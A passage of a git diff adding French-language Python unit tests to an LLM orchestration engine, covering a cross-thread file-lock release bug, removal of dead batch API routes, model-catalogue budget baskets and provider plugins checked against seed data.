(CLI, LM Studio…) doit + continuer à fonctionner via le fallback to_thread de la classe de base.""" + + class _SyncSeul(LLMProvider): + def generate(self, system_prompt, user_prompt, **kwargs): + return f"sync:{system_prompt}" + + def generate_structured(self, system_prompt, user_prompt, schema, **kwargs): + return {} + + out = asyncio.run( + _wrapper_avec_instructions(_SyncSeul()).generate_async( + "sys", "user", conventions_projet=True + ) + ) + assert out == "sync:sys\n\n=== CONVENTIONS ===" diff --git a/tests/unit/test_backlog_branch_validation.py b/tests/unit/test_backlog_branch_validation.py index d640aed..d8981b5 100644 --- a/tests/unit/test_backlog_branch_validation.py +++ b/tests/unit/test_backlog_branch_validation.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- r""" Régression : le charset strict des noms de branche Git (P0-1.3) ne doit pas être contournable par un saut de ligne final. diff --git a/tests/unit/test_backlog_db_lock.py b/tests/unit/test_backlog_db_lock.py new file mode 100644 index 0000000..d4cb3ec --- /dev/null +++ b/tests/unit/test_backlog_db_lock.py @@ -0,0 +1,194 @@ +""" +tests/unit/test_backlog_db_lock.py — Régression #T293 : le verrou d'écriture est relâché. + +Symptôme de production : `GET /api/billing` répond 200 une fois, puis TOUS les +appels répondent 500 « Le verrou de la base de données (...backlog.lock) est bloqué +par un autre processus », définitivement. Cause racine prouvée en isolation : +`db_write_lock_context()` crée un `filelock.FileLock` SANS `thread_local=False`, +or ce paramètre est `True` par défaut — le compteur d'acquisition est stocké par +thread. `asyncio.to_thread` pouvant exécuter l'acquire et le release sur des +workers DIFFÉRENTS du pool, le release devenait un no-op silencieux (aucune +exception, donc l'ancien `except Exception` n'avait rien à journaliser) et le +verrou fuitait jusqu'à la mort du processus. + +Ces tests verrouillent : +1. le release fonctionne même depuis un AUTRE thread que l'acquire (régression) ; +2. la vraie fonction supporte 20 contextes séquentiels + 20 concurrents ; +3. l'exclusion MULTI-PROCESSUS reste intacte (garde-fou n°1 : un vrai + sous-processus ne doit pas acquérir pendant que le contexte est actif) ; +4. un verrou non relâché est VISIBLE dans le journal (ERROR, plus de warning + avalé silencieusement). +""" + +import asyncio +import concurrent.futures +import logging +import subprocess +import sys + +import filelock +import pytest + +from core.backlog_db import db_write_lock_context +from core.runtime_db import get_db_path, override_db_path + +# Script exécuté par le sous-processus du test d'exclusion multi-processus. +# Arguments : [chemin du verrou, timeout]. Sorties : "TIMEOUT" (exit 1) si le +# verrou est détenu par un autre processus, "ACQUIS" (exit 0) sinon. +_SCRIPT_SOUS_PROCESSUS = ( + "import sys\n" + "from filelock import FileLock, Timeout\n" + "try:\n" + " FileLock(sys.argv[1]).acquire(timeout=float(sys.argv[2]))\n" + "except Timeout:\n" + " print('TIMEOUT', flush=True)\n" + " sys.exit(1)\n" + "print('ACQUIS', flush=True)\n" + "sys.exit(0)\n" +) + + +@pytest.fixture +def db_ephemere(tmp_path): + """Base SQLite temporaire : le verrou testé cible un fichier jetable.""" + ancien = get_db_path() + db_path = str(tmp_path / "moteur_runtime_test.db") + override_db_path(db_path) + yield db_path + override_db_path(ancien) + + +@pytest.fixture(autouse=True) +def _verrou_asyncio_neuf_par_test(): + """pytest-asyncio donne une boucle NEUVE à chaque test (loop_scope=function) + alors que `_db_write_lock` est un asyncio.Lock module-level qui se lie à la + première boucle qui l'utilise : on le recrée par test pour éviter le + RuntimeError « bound to a different event loop » entre tests du même fichier.""" + import core.backlog_db as backlog_db + + ancien = backlog_db._db_write_lock + backlog_db._db_write_lock = asyncio.Lock() + yield + backlog_db._db_write_lock = ancien + + +async def test_regression_release_thread_etranger(db_ephemere, monkeypatch): + """#T293 : le release doit libérer même exécuté par un AUTRE thread. + + AVANT correctif, le FileLock était créé sans `thread_local=False` : le + compteur d'acquisition était stocké par thread, et un release() exécuté par + un worker différent était un no-op silencieux — le verrou fuitait. On force + ici le scénario exact de production (acquire sur un worker, release sur un + autre) via deux exécuteurs mono-thread dédiés : c'est le cas que le pool par + défaut d'asyncio produit quand la charge fait tourner les workers. + """ + pool_acquire = concurrent.futures.ThreadPoolExecutor( + max_workers=1, thread_name_prefix="t293-acquire" + ) + pool_release = concurrent.futures.ThreadPoolExecutor( + max_workers=1, thread_name_prefix="t293-release" + ) + to_thread_original = asyncio.to_thread + + def _to_thread_threads_forces(fn, *args, **kwargs): + """Aiguille acquire → pool A et release → pool B ; passe le reste.""" + if getattr(fn, "__name__", "") == "acquire": + return asyncio.wrap_future(pool_acquire.submit(fn, *args, **kwargs)) + if getattr(fn, "__name__", "") == "release": + return asyncio.wrap_future(pool_release.submit(fn, *args, **kwargs)) + return to_thread_original(fn, *args, **kwargs) + + monkeypatch.setattr(asyncio, "to_thread", _to_thread_threads_forces) + try: + async with db_write_lock_context(): + pass + finally: + pool_acquire.shutdown(wait=True) + pool_release.shutdown(wait=True) + + # Un FileLock NEUF sur le même chemin doit acquérir sans timeout (même + # processus) : c'est la preuve que le verrou a réellement été relâché. + verif = filelock.FileLock(db_ephemere + ".backlog.lock") + verif.acquire(timeout=2) + verif.release() + + +async def test_verrou_relache_apres_20_contextes(db_ephemere): + """#T293 : 20 contextes séquentiels + 20 concurrents, verrou toujours relâché. + + Reproduit la chaîne de production (GET /api/billing → BudgetGuard.initialize + → db_write_lock_context) : à la fin, un FileLock neuf doit acquérir sans + timeout. C'est ce scénario qui faisait fuiter le verrou en production quand + la charge faisait atterrir acquire et release sur des workers différents. + """ + for _ in range(20): + async with db_write_lock_context(): + pass + + async def _contexte(): + async with db_write_lock_context(): + pass + + await asyncio.gather(*(_contexte() for _ in range(20))) + + verif = filelock.FileLock(db_ephemere + ".backlog.lock") + verif.acquire(timeout=2) + verif.release() + + +async def test_exclusion_multiprocessus_intacte(db_ephemere): + """Garde-fou n°1 (#T293) : l'exclusion MULTI-PROCESSUS reste réelle. + + Pendant qu'un db_write_lock_context() est actif, un vrai sous-processus qui + tente d'acquérir le même verrou avec un timeout court doit ÉCHOUER. Après la + sortie du contexte, le même sous-processus doit acquérir immédiatement : ce + second point rend le test auto-validant — il prouve que la procédure de + vérification fonctionne et que le correctif n'a pas affaibli le verrou. + """ + lock_path = db_ephemere + ".backlog.lock" + cmd = [sys.executable, "-c", _SCRIPT_SOUS_PROCESSUS, lock_path, "1.0"] + + async with db_write_lock_context(): + # Le contexte est actif : le sous-processus ne doit PAS acquérir. + sortie = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + assert "TIMEOUT" in sortie.stdout, sortie.stdout + + # Contexte sorti : le sous-processus doit acquérir (verrou réellement relâché). + sortie2 = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + assert "ACQUIS" in sortie2.stdout, sortie2.stdout + + +async def test_fuite_de_verrou_loguee_en_erreur(db_ephemere, monkeypatch, caplog): + """#T293 : un verrou non relâché est VISIBLE dans le journal (ERROR). + + AVANT correctif, la libération ratée était un no-op silencieux et l'ancien + `except Exception` journalisait en warning un événement qui ne levait même + jamais. On simule une libération en échec et on exige un ERROR explicite. + """ + import core.backlog_db as backlog_db + + class FileLockQuiEchoueALaLiberation(filelock.FileLock): + """Sous-classe de test : le premier release lève (défaillance réelle). + + Le `__del__` de filelock appelle aussi release(force=True) : seuls les + appels suivants passent, pour éviter un warning de destruction. + """ + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._release_a_echoue = False + + def release(self, force=False): + if not self._release_a_echoue: + self._release_a_echoue = True + raise RuntimeError("échec simulé du release") + super().release(force=force) + + monkeypatch.setattr(backlog_db.filelock, "FileLock", FileLockQuiEchoueALaLiberation) + + with caplog.at_level(logging.ERROR, logger="backlog_db"): + async with db_write_lock_context(): + pass + + messages = [r.getMessage() for r in caplog.records] + assert any("libération du verrou" in m for m in messages), messages diff --git a/tests/unit/test_batch_routes_supprimees.py b/tests/unit/test_batch_routes_supprimees.py new file mode 100644 index 0000000..a544005 --- /dev/null +++ b/tests/unit/test_batch_routes_supprimees.py @@ -0,0 +1,63 @@ +"""Vérifie le retrait des routes batch fantômes de l'API (#T249). + +Les routes /api/batch/* (submit, status, results, list) dépendaient de +core.batch_processor, un module inexistant : chaque appel répondait 501 +« Module batch non disponible » tout en apparaissant dans le schéma OpenAPI. +Elles sont désormais retirées — un client ne doit plus voir que des 404 (ou +le 405 global du serveur pour un POST inconnu, cf. infra), et le schéma +OpenAPI ne doit plus les annoncer. + +Note : le Mount StaticFiles racine (IHM v2 servie sous /) n'accepte que +GET/HEAD ; tout POST vers un chemin inconnu du serveur répond donc 405 +(comportement global, vérifié identique sur /api/chemin-inconnu-xyz). Le +critère de ce test est « plus de 501 » : aucune route batch ne subsiste. + +Le TestClient est utilisé hors context manager : le lifespan de gui_server +(HA, MQTT, boucles de fond) ne s'exécute alors pas, conformément au garde-fou +réseau de tests/unit/conftest.py. +""" + +import os + +from fastapi.testclient import TestClient + +from gui_server import app + +_ROUTES_BATCH = [ + "/api/batch/submit", + "/api/batch/status/job-test", + "/api/batch/results/job-test", + "/api/batch/list", +] + + +def _client(): + """Client de test authentifié (clé fixée par tests/conftest.py).""" + return TestClient(app, headers={"Authorization": f"Bearer {os.environ['MOTEUR_API_KEY']}"}) + + +def test_schema_openapi_sans_route_batch(): + """Le schéma OpenAPI ne contient plus aucun chemin /api/batch/*.""" + schema = _client().get("/openapi.json").json() + chemins = schema["paths"] + assert not any(p.startswith("/api/batch/") for p in chemins) + + +def test_route_batch_get_renvoie_404(): + """GET sur chaque route batch retirée répond 404 (route inexistante).""" + client = _client() + for chemin in _ROUTES_BATCH: + reponse = client.get(chemin) + assert reponse.status_code == 404, f"{chemin} devrait répondre 404, reçu {reponse.status_code}" + + +def test_submit_post_ne_repond_plus_501(): + """POST /api/batch/submit ne répond plus 501 « Module batch non disponible ». + + Statut attendu : 405 — le 405 global du Mount StaticFiles racine pour + tout POST inconnu (comportement du serveur, pas une route batch). + """ + reponse = _client().post("/api/batch/submit", json={"prompts": ["test"]}) + assert reponse.status_code != 501 + # Identique à un chemin inconnu quelconque : aucune logique batch ne subsiste. + assert reponse.status_code == _client().post("/api/chemin-inconnu-xyz").status_code diff --git a/tests/unit/test_billing_history_schema.py b/tests/unit/test_billing_history_schema.py index 9b618ed..6551fd3 100644 --- a/tests/unit/test_billing_history_schema.py +++ b/tests/unit/test_billing_history_schema.py @@ -10,11 +10,8 @@ import asyncio import sqlite3 -import pytest - from core import runtime_db - _FULL_COLUMNS = { "id", "timestamp", "provider", "metric", "value", "currency", "sync_source", "model", "tokens_used", "cost_usd", "window_type", diff --git a/tests/unit/test_budget_baskets.py b/tests/unit/test_budget_baskets.py new file mode 100644 index 0000000..c9aaaf8 --- /dev/null +++ b/tests/unit/test_budget_baskets.py @@ -0,0 +1,149 @@ +""" +tests/unit/test_budget_baskets.py — Paniers budgétaires du catalogue dynamique (#T246). + +Le point verrouillé : le panier "free" doit filtrer sur la colonne `tier` +(économie : local/free), PAS sur `routing_tier` (capacité : leger/moyen/fort). +Aucun modèle du catalogue n'a routing_tier 'free'/'local' — l'ancien filtrage +vidait structurellement le panier, et les outils MCP de recommandation/délégation +répondaient « catalogue free vide » alors qu'il est plein. + +Aucun accès base : les deux lecteurs du catalogue sont monkeypatchés. + +NB : shim pour forcer le package local `tools` (namespace) face au paquet +site-packages homonyme qui le masque sous Windows (divergence CI/local connue). +""" +import os +import sys +import types + +_REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +if not (getattr(sys.modules.get("tools"), "__file__", "") or "").startswith(_REPO): + _m = types.ModuleType("tools") + _m.__path__ = [os.path.join(_REPO, "tools")] + sys.modules["tools"] = _m + +import core.mcp_tools.orchestrator as mcp_orchestrator # noqa: E402 +import core.models_db as models_db # noqa: E402 + + +def _modele(mid, tier, routing_tier, prio): + return { + "id": mid, "tier": tier, "routing_tier": routing_tier, + "cascade_priority": prio, "speciality": "", "recommended_use": "", + } + + +# Catalogue factice réaliste : les tiers catalogue et les routing_tiers +# ne coïncident jamais sur 'free'/'local' (c'est le cœur du bug). +_CATALOGUE = [ + _modele("qwen3-coder-next", "local", "leger", 1), + _modele("gemini-3.1-flash-lite", "free", "leger", 2), + _modele("gemini-3.5-flash", "free", "moyen", 3), + _modele("mistral-large-latest", "free", "moyen", 4), + _modele("claude-sonnet-4-6", "subscription", "fort", 5), + _modele("deepseek-chat", "paid", "leger", 6), +] + + +def _faux_get_models_for_tier(routing_tier): + return [m for m in _CATALOGUE if m["routing_tier"] == routing_tier] + + +def _faux_get_models_for_catalog_tiers(catalog_tiers): + return [m for m in _CATALOGUE if m["tier"] in catalog_tiers] + + +def _patch_lecteurs(monkeypatch): + monkeypatch.setattr(models_db, "get_models_for_tier", _faux_get_models_for_tier) + monkeypatch.setattr(models_db, "get_models_for_catalog_tiers", _faux_get_models_for_catalog_tiers) + monkeypatch.setattr(models_db, "get_model_cost", lambda mid: None) + + +# ── Le panier free lit la colonne tier, pas routing_tier ───────────────────── + + +def test_panier_free_renvoie_les_modeles_local_et_free(monkeypatch): + """Régression #T246 : avant le fix, ce panier revenait toujours vide.""" + _patch_lecteurs(monkeypatch) + picked = mcp_orchestrator._catalog_models_for_budget("free") + ids = [m["id"] for m in picked] + assert ids == ["qwen3-coder-next", "gemini-3.1-flash-lite", "gemini-3.5-flash", "mistral-large-latest"] + assert all(m["is_free"] for m in picked) + + +def test_panier_free_ne_passe_pas_par_le_filtre_routing_tier(monkeypatch): + """Le panier free ne doit JAMAIS interroger get_models_for_tier.""" + appels = [] + + def _espion(routing_tier): + appels.append(routing_tier) + return _faux_get_models_for_tier(routing_tier) + + monkeypatch.setattr(models_db, "get_models_for_tier", _espion) + monkeypatch.setattr(models_db, "get_models_for_catalog_tiers", _faux_get_models_for_catalog_tiers) + monkeypatch.setattr(models_db, "get_model_cost", lambda mid: None) + mcp_orchestrator._catalog_models_for_budget("free") + assert appels == [] + + +# ── cheap/best restent sur l'axe capacité (routing_tier) ───────────────────── + + +def test_panier_cheap_filtre_sur_routing_tier(monkeypatch): + _patch_lecteurs(monkeypatch) + picked = mcp_orchestrator._catalog_models_for_budget("cheap") + ids = [m["id"] for m in picked] + assert ids == ["qwen3-coder-next", "gemini-3.1-flash-lite", "gemini-3.5-flash", "mistral-large-latest", "deepseek-chat"] + + +def test_panier_best_filtre_sur_routing_tier_fort(monkeypatch): + _patch_lecteurs(monkeypatch) + picked = mcp_orchestrator._catalog_models_for_budget("best") + assert [m["id"] for m in picked] == ["claude-sonnet-4-6"] + + +def test_budget_inconnu_replie_sur_cheap(monkeypatch): + _patch_lecteurs(monkeypatch) + assert (mcp_orchestrator._catalog_models_for_budget("nimporte_quoi") + == mcp_orchestrator._catalog_models_for_budget("cheap")) + + +# ── Ordre, dédoublonnage, budget effectif ──────────────────────────────────── + + +def test_concatenation_de_tiers_reordonnee_par_cascade_priority(monkeypatch): + """cheap = leger + moyen : l'ordre final suit cascade_priority, pas l'ordre des tiers.""" + _patch_lecteurs(monkeypatch) + picked = mcp_orchestrator._catalog_models_for_budget("cheap") + prios = [m for m in picked] + assert [m["id"] for m in prios] == sorted( + [m["id"] for m in prios], + key=lambda mid: next(x["cascade_priority"] for x in _CATALOGUE if x["id"] == mid), + ) + + +def test_dedoublonnage_si_un_modele_apparait_deux_fois(monkeypatch): + doublon = _modele("gemini-3.5-flash", "free", "moyen", 3) + + def _lecteur_avec_doublon(routing_tier): + return [m for m in _CATALOGUE + [doublon] if m["routing_tier"] == routing_tier] + + monkeypatch.setattr(models_db, "get_models_for_tier", _lecteur_avec_doublon) + monkeypatch.setattr(models_db, "get_models_for_catalog_tiers", _faux_get_models_for_catalog_tiers) + monkeypatch.setattr(models_db, "get_model_cost", lambda mid: None) + picked = mcp_orchestrator._catalog_models_for_budget("cheap") + assert [m["id"] for m in picked].count("gemini-3.5-flash") == 1 + + +def test_effectif_budget_inchange(): + """Le mapping type de tâche → panier n'est pas modifié par #T246.""" + assert mcp_orchestrator._effective_budget("auto", "casual_chat") == "free" + assert mcp_orchestrator._effective_budget("auto", "architecture") == "best" + assert mcp_orchestrator._effective_budget("auto", "standard") == "cheap" + assert mcp_orchestrator._effective_budget("best", "casual_chat") == "best" + + +def test_describe_basket_distingue_les_deux_axes(): + assert "tier catalogue" in mcp_orchestrator._describe_basket("free") + assert "routing_tier" in mcp_orchestrator._describe_basket("cheap") + assert "routing_tier" in mcp_orchestrator._describe_basket("best") diff --git a/tests/unit/test_budget_guard_cli.py b/tests/unit/test_budget_guard_cli.py new file mode 100644 index 0000000..7aa4355 --- /dev/null +++ b/tests/unit/test_budget_guard_cli.py @@ -0,0 +1,155 @@ +""" +tests/unit/test_budget_guard_cli.py — Profil d'hôte sans CLI dans BudgetGuard (#T248). + +Points verrouillés : +1. `MOTEUR_DISABLE_CLI_PROVIDERS` exclut gemini-cli-abo / claude-cli-abo du + round-robin même si les binaires sont détectés ; +2. la détection de binaire est cross-plateforme : les chemins AppData Windows + ne sont testés que sous Windows ; +3. le collecteur de tokens CLI ne journalise plus en WARNING l'absence du + répertoire Antigravity (état normal sur un hôte sans CLI, scan ~10 min → + 1440 WARNING/jour en prod sur le Deck). + +Aucun accès base : sqlite3 et le verrou de lecture sont monkeypatchés. +""" +import contextlib +import os +import shutil +import sys +import types + +import pytest + +_REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +if not (getattr(sys.modules.get("tools"), "__file__", "") or "").startswith(_REPO): + _m = types.ModuleType("tools") + _m.__path__ = [os.path.join(_REPO, "tools")] + sys.modules["tools"] = _m + +import core.budget_guard as budget_guard # noqa: E402 +from core.budget_guard import BudgetGuard, _binary_present, _cli_providers_disabled # noqa: E402 + + +class _FakeCursor: + def execute(self, query, params=None): + pass + + def fetchone(self): + # Les 3 requêtes (somme tokens, count requêtes, somme coût) renvoient + # chacune une seule valeur — 0 partout = aucun historique. + return (0,) + + +class _FakeConn: + def cursor(self): + return _FakeCursor() + + def close(self): + pass + + +def _patch_garde_disponibles(monkeypatch): + """BudgetGuard opérationnel sans vraie base ni verrous réels.""" + monkeypatch.setattr(budget_guard.sqlite3, "connect", lambda path: _FakeConn()) + + @contextlib.asynccontextmanager + async def _faux_verrou(): + yield + + monkeypatch.setattr(budget_guard, "db_read_lock_context", _faux_verrou) + monkeypatch.setattr(budget_guard, "_provider_cooldown", {}) + # Aucune clé cloud par défaut : les seuls candidats possibles sont ceux + # qu'on stubbe explicitement. + for var in ("CEREBRAS_API_KEY", "DASHSCOPE_API_KEY", "BAILIAN_CODING_PLAN_API_KEY", + "COHERE_API_KEY", "MISTRAL_API_KEY"): + monkeypatch.delenv(var, raising=False) + + +def _garde_sans_gemini_free(monkeypatch): + """Une garde dont le quota gemini-free est épuisé (0 token/h autorisé).""" + _patch_garde_disponibles(monkeypatch) + garde = BudgetGuard() + garde.config["gemini_free_tokens_per_hour"] = 0 + garde._initialized = True + return garde + + +# ── Interrupteur d'hôte ────────────────────────────────────────────────────── + + +@pytest.mark.parametrize("valeur, attendu", [ + ("1", True), ("true", True), ("TRUE", True), ("yes", True), ("on", True), + ("", False), ("0", False), ("false", False), ("non", False), +]) +def test_table_de_verite_du_kill_switch(monkeypatch, valeur, attendu): + monkeypatch.setenv("MOTEUR_DISABLE_CLI_PROVIDERS", valeur) + assert _cli_providers_disabled() is attendu + + +def test_kill_switch_absent_donne_faux(monkeypatch): + monkeypatch.delenv("MOTEUR_DISABLE_CLI_PROVIDERS", raising=False) + assert _cli_providers_disabled() is False + + +# ── Détection de binaire cross-plateforme ──────────────────────────────────── + + +def test_chemins_appdata_consideres_seulement_sous_windows(monkeypatch, tmp_path): + faux_cmd = tmp_path / "antigravity.cmd" + faux_cmd.write_text("") + monkeypatch.setattr(shutil, "which", lambda name: None) + + monkeypatch.setattr(budget_guard.sys, "platform", "win32") + assert _binary_present(("antigravity",), windows_appdata_candidates=(str(faux_cmd),)) is True + + monkeypatch.setattr(budget_guard.sys, "platform", "linux") + assert _binary_present(("antigravity",), windows_appdata_candidates=(str(faux_cmd),)) is False + + +def test_recherche_path_generique_sur_toute_plateforme(monkeypatch): + monkeypatch.setattr(shutil, "which", lambda name: "/usr/bin/claude" if name == "claude" else None) + assert _binary_present(("claude", "claude.cmd")) is True + assert _binary_present(("binaire-inexistant",)) is False + + +# ── Exclusion du round-robin ───────────────────────────────────────────────── + + +@pytest.mark.asyncio +async def test_cli_desactives_exclut_les_providers_cli(monkeypatch): + """Kill-switch actif : même binaires présents, aucun provider CLI proposé.""" + monkeypatch.setenv("MOTEUR_DISABLE_CLI_PROVIDERS", "1") + garde = _garde_sans_gemini_free(monkeypatch) + monkeypatch.setattr(garde, "_check_gemini_cli_availability", lambda: True) + monkeypatch.setattr(garde, "_check_claude_cli_availability", lambda: True) + monkeypatch.setenv("CEREBRAS_API_KEY", "cle-de-test") + + choisi = await garde.get_available_provider() + assert choisi == "cerebras-free" # premier candidat non-CLI du round-robin + + +@pytest.mark.asyncio +async def test_cli_actives_propose_le_cli_si_binaire_present(monkeypatch): + """Sans kill-switch, un binaire détecté entre bien dans le round-robin.""" + monkeypatch.delenv("MOTEUR_DISABLE_CLI_PROVIDERS", raising=False) + garde = _garde_sans_gemini_free(monkeypatch) + monkeypatch.setattr(garde, "_check_gemini_cli_availability", lambda: True) + monkeypatch.setattr(garde, "_check_claude_cli_availability", lambda: False) + + choisi = await garde.get_available_provider() + assert choisi == "gemini-cli-abo" + + +# ── Collecteur de tokens CLI : plus de WARNING sur hôte sans CLI ───────────── + + +def test_absence_repertoire_antigravity_ne_logue_plus_en_warning(monkeypatch, caplog): + from core import cli_token_collector + monkeypatch.setattr(cli_token_collector, "ANTIGRAVITY_BRAIN_DIR", + cli_token_collector.Path("/chemin/qui/n/existe/pas")) + import logging + with caplog.at_level(logging.DEBUG): + sessions = cli_token_collector.scan_antigravity_conversations() + assert sessions == [] + assert not [r for r in caplog.records if r.levelno >= logging.WARNING] + assert any(r.levelno == logging.DEBUG for r in caplog.records) diff --git a/tests/unit/test_builtin_providers_etape2.py b/tests/unit/test_builtin_providers_etape2.py new file mode 100644 index 0000000..797622e --- /dev/null +++ b/tests/unit/test_builtin_providers_etape2.py @@ -0,0 +1,203 @@ +""" +tests/unit/test_builtin_providers_etape2.py — Conversion des providers du seed (#T231, étape 2). + +Points verrouillés : +1. **Fidélité au seed** : chaque modèle déclaré par un plugin reprend EXACTEMENT les + valeurs du seed (l'enregistrement doit être un no-op sur le catalogue existant) — + vérifié par relecture AST de seed_models_db.py, pas de copie à la main. +2. **Curation cohérente** : les ids déclarés sont uniques globalement, et les + api_model_id résolvent les alias réels (dashscope/, deepinfra/, -paid…). +3. **Invariant transport** : une clé absente → CredentialsManquantes (le provider + est écarté, jamais écrit). +4. **Branchement démarrage** : enregistrer_provider_plugins_once() est idempotent, + non bloquant et désactivable par MOTEUR_PROVIDER_PLUGINS. + +Aucun accès réseau : les transports ne sont jamais appelés. +""" +import ast +import os +import sys +import types +from pathlib import Path + +import pytest + +_REPO = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +if not (getattr(sys.modules.get("tools"), "__file__", "") or "").startswith(_REPO): + _m = types.ModuleType("tools") + _m.__path__ = [os.path.join(_REPO, "tools")] + sys.modules["tools"] = _m + +from core.llm.builtin_providers import BUILTIN_PROVIDER_PLUGINS # noqa: E402 +from core.llm.provider_plugin import CredentialsManquantes # noqa: E402 + +# ── Données du seed (relecture AST — pas de recopie) ───────────────────────── + +def _seed_data(): + src = (Path(_REPO) / "seed_models_db.py").read_text(encoding="utf-8") + tree = ast.parse(src) + out = {} + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef) and node.name in ("seed_providers", "seed_models"): + for stmt in node.body: + if isinstance(stmt, ast.Assign): + for cible in stmt.targets: + if isinstance(cible, ast.Name) and cible.id in ("providers", "models"): + out[cible.id] = ast.literal_eval(stmt.value) + return out + + +_SEED = _seed_data() +_SEED_PROVIDERS = {p["id"]: p for p in _SEED["providers"]} +_SEED_MODELS = {m["id"]: m for m in _SEED["models"]} + +# Champs comparés : ce que l'enregistrement écrit (en_colonnes) et que le seed porte. +_CHAMPS_MODELE = ( + "display_name", "tier", "routing_tier", "context_input", "context_output", + "cost_input_per_m", "cost_output_per_m", "speciality", "recommended_use", +) +_CHAMPS_BOOL = ("supports_tools", "supports_vision", "supports_json_mode", "supports_streaming") +_CHAMPS_PROVIDER = ("name", "type", "api_endpoint", "confidentiality", "cascade_priority") + + +# ── Fidélité au seed (no-op garanti) ───────────────────────────────────────── + + +def test_nombre_de_plugins_et_ids_providers_uniques(): + ids = [p.descriptor.id for p in BUILTIN_PROVIDER_PLUGINS] + assert len(ids) == len(set(ids)) == 17 + # Les 16 convertis + le pilote de l'étape 1. + assert "mistral" in ids + + +def test_descripteurs_providers_conformes_au_seed(): + """Les colonnes providers déclarées = celles du seed, pour chaque plugin.""" + for plugin in BUILTIN_PROVIDER_PLUGINS: + d = plugin.descriptor + seed_p = _SEED_PROVIDERS.get(d.id) + if seed_p is None: + continue # modèle ajouté par curation (aucun seed à comparer) + for champ in _CHAMPS_PROVIDER: + assert getattr(d, champ) == seed_p.get(champ), ( + f"provider '{d.id}' : {champ} divergé ({getattr(d, champ)} != {seed_p.get(champ)})" + ) + + +def test_modeles_declares_conformes_au_seed(): + """Pour chaque modèle déclaré issu du seed, toutes les colonnes écrites coïncident.""" + for plugin in BUILTIN_PROVIDER_PLUGINS: + for spec in plugin.descriptor.models: + seed_m = _SEED_MODELS.get(spec.id) + if seed_m is None: + continue # ajouté par curation (domotique-qwen7b:q4, MiniMax-M2.1, MiniMax-M2.7…) + for champ in _CHAMPS_MODELE: + assert getattr(spec, champ) == seed_m.get(champ), ( + f"{spec.id} : {champ} divergé ({getattr(spec, champ)} != {seed_m.get(champ)})" + ) + for champ in _CHAMPS_BOOL: + assert int(getattr(spec, champ)) == int(seed_m.get(champ, 0)), ( + f"{spec.id} : {champ} divergé ({getattr(spec, champ)} != {seed_m.get(champ)})" + ) + + +def test_ids_modeles_globaux_uniques(): + ids = [spec.id for p in BUILTIN_PROVIDER_PLUGINS for spec in p.descriptor.models] + assert len(ids) == len(set(ids)), "deux plugins déclarent le même id de modèle" + + +# ── Curation : api_model_id résout les alias réels ─────────────────────────── + + +@pytest.mark.parametrize("plugin_id, modele, attendu", [ + ("dashscope", "dashscope/qwen3-coder-next", "qwen3-coder-next"), + ("dashscope", "dashscope/MiniMax-M2.5", "MiniMax-M2.5"), + ("deepinfra", "deepinfra/deepseek-r1", "deepseek-ai/DeepSeek-R1"), + ("deepinfra", "deepinfra/llama-3.3-70b-instruct", "meta-llama/Llama-3.3-70B-Instruct"), + ("cerebras", "gemma-4-31b-cerebras", "gemma-4-31b"), + ("deepseek", "deepseek-v4-flash", "deepseek-chat"), + ("deepseek", "deepseek-v4-pro", "deepseek-chat"), + ("gemini_paid", "gemini-3.1-pro-customtools-paid", "gemini-3.1-pro-preview-customtools"), + ("minimax", "minimax-m3", "MiniMax-M3"), +]) +def test_api_model_id_resout_les_alias(plugin_id, modele, attendu): + plugin = next(p for p in BUILTIN_PROVIDER_PLUGINS if p.descriptor.id == plugin_id) + spec = next(s for s in plugin.descriptor.models if s.id == modele) + assert spec.nom_api == attendu + + +def test_modeles_sans_alias_gardent_leur_id(): + plugin = next(p for p in BUILTIN_PROVIDER_PLUGINS if p.descriptor.id == "mistral") + for spec in plugin.descriptor.models: + assert spec.nom_api == spec.id + + +# ── Invariant transport : sans clé, on écarte, on ne construit pas ─────────── + + +@pytest.mark.parametrize("plugin_id, env_var", [ + ("deepseek", "DEEPSEEK_API_KEY"), + ("zhipu", "ZHIPU_API_KEY"), + ("dashscope", "DASHSCOPE_API_KEY"), + ("anthropic_native", "ANTHROPIC_API_KEY"), + ("gemini_paid", "GEMINI_PAYANT_API_KEY"), + ("gemini_free", "GEMINI_API_KEY"), + ("openrouter", "OPENROUTER_API_KEY"), + ("xai", "XAI_API_KEY"), + ("deepinfra", "DEEPINFRA_API_KEY"), + ("minimax", "MINIMAX_API_KEY"), + ("cohere", "COHERE_API_KEY"), + ("cerebras", "CEREBRAS_API_KEY"), +]) +def test_cle_absente_leve_credentials_manquantes(plugin_id, env_var): + plugin = next(p for p in BUILTIN_PROVIDER_PLUGINS if p.descriptor.id == plugin_id) + with pytest.raises(CredentialsManquantes): + plugin.build({}, model=plugin.descriptor.models[0].id) + + +def test_ollama_local_se_construit_sans_cle(): + plugin = next(p for p in BUILTIN_PROVIDER_PLUGINS if p.descriptor.id == "ollama_local") + t = plugin.build({}, model="qwen2.5-coder:7b") + assert t.model == "qwen2.5-coder:7b" + + +# ── Branchement au démarrage (factory) ─────────────────────────────────────── + + +def test_enregistrement_une_fois_idempotent(monkeypatch): + from core import models_db + from core.llm import provider_registration + + ecrits = [] + monkeypatch.setattr(models_db, "upsert_provider", lambda pid, **kw: ecrits.append(("p", pid)) or True) + monkeypatch.setattr(models_db, "upsert_model", lambda mid, **kw: ecrits.append(("m", mid)) or True) + provider_registration._ENREGISTREMENT_FAIT = False + + r1 = provider_registration.enregistrer_provider_plugins_once({}) + r2 = provider_registration.enregistrer_provider_plugins_once({}) + + assert r1 is not None and r1.providers_enregistres # local/ollama au minimum + assert r2 is None # idempotent : la seconde passe ne fait rien + assert ecrits # l'upsert a bien été exercé + + +def test_desactivation_par_moteur_provider_plugins(monkeypatch): + from core.llm import provider_registration + + monkeypatch.setenv("MOTEUR_PROVIDER_PLUGINS", "0") + provider_registration._ENREGISTREMENT_FAIT = False + assert provider_registration.enregistrer_provider_plugins_once({}) is None + + +def test_factory_appelle_lenregistrement(): + """create_engine() déclenche bien la passe d'enregistrement, après le gateway. + + L'appel réel de create_engine est lourd (gateway, agents) ; on vérifie la + séquence sur le code source : l'enregistrement arrive après LLMGateway(). + """ + import inspect + + import core.factory as 